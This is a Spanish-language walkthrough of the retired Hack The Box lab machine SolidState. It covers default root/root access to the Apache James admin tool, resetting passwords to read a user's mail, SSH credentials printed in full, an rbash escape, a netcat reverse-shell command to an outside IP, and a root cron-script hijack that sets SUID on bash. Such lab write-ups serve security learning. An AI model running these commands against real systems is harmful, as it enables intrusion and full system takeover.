SolidState

OS	RELEASE DATE	DIFFICULTY	MACHINE STATE
Linux	09 Sep 2017	Medium	Retired

0. Introducción

Tengo que decir, que de esta máquina me siento especialmente orgulloso. Aunque no es muy compleja, fue mi primera máquina sin necesitar ningún writeup o pista. Vamos a ver como se resuelve.

1. Enumeración

2. Análisis de vulnerabilidades.

El puerto 22, que corresponde al servicio de SSH, lo vamos a obviar de momento, ya que no tenemos credenciales.

Vamos a seguir con el puerto 80, enumerando las tecnologías, que esta corriendo en la página web.

En principio, no vemos nada interesante en la web. Realizamos un wfuzz, que tampoco encuentra nada interesante.

Cambiamos un poco de vector de ataque y revisamos la parte de JAMES Remote Administration Tool. Googleando un poco (https://crimsonglow.ca/~kjiwa/2016/06/exploiting-apache-james-2.3.2.html) vemos que las credenciales por defecto, son root/root. Intentamos el acceso.

Podemos listar los usuarios actuales.

Adicionalmente, podemos cambiar la password a los distintos usuarios. Probamos primero con "james" e intentamos conectarnos al servicio de POP3. No vemos ningún correo.

Ahora, probamos con mindy. Vemos que tiene dos correos. ¡Pues a leer se ha dicho! El primer correo no vemos nada de interés.

En el segundo conseguimos unas credenciales.

username: mindy

pass: P@55W0rd1!2@

3. Explotación y acceso

Vamos a probar si podemos conectarnos por SSH. Y efectivamente, ganamos acceso.

```
└─ ssh mindy@10.10.10.51
The authenticity of host '10.10.10.51 (10.10.10.51)' can't be established.
ECDSA key fingerprint is SHA256:njQxYC21MJdcSfcgKOpfTedDAXx50SYVGPCfChsGwI0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.51' (ECDSA) to the list of known hosts.
mindy@10.10.10.51's password:
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i68

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142
mindy@solidstate:~$
```

No podemos ejecutar sudo -l. Comprobamos si estamos ante una "restricted shell" y efectivamente.

```
mindy@solidstate:~$ echo $SHELL
/bin/rbash
```

Para escaparnos de esta "restricted shell", lo realizamos de la siguiente forma:

```
  ~    ✓   1m 55s
└─ ssh mindy@10.10.10.51 'bash --noprofile'
mindy@10.10.10.51's password:
onnection closed by foreign host.
id
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)
nc -e /bin/bash 10.10.14.63 443
```

Realizamos el tratamiento de la TTY como siempre.

4. Escalada de privilegios.

Hacemos un reconocimiento de privilegios, permisos sobre ficheros, capabilities, etc. pero no vemos nada de interés. Nos descargamos el script pspy para hacer un seguimiento de los procesos corriendo en el sistema (https://github.com/DominicBreuker/pspy).

Nos llama la atención este proceso que ejecuta /opt/tmp.py con permisos de root.

```
2022/09/14 10:00:01 CMD: UID=0    PID=27897   | /usr/sbin/CRON -f
2022/09/14 10:00:01 CMD: UID=0    PID=27898   | /bin/sh -c python /opt/tmp.py
2022/09/14 10:00:01 CMD: UID=0    PID=27899   | python /opt/tmp.py
```

Vemos el contenido de dicho script y comprobamos que ejecuta un comando a nivel de sistema operativo.

Revisando los permisos, vemos que tenemos permisos de escritura. ¡Qué regalo!

Pues nada, vamos a modificar el script para que añada permisos SUID sobre la bash.

Esperamos a que se ejecute el script.

Listo. Ya somos root.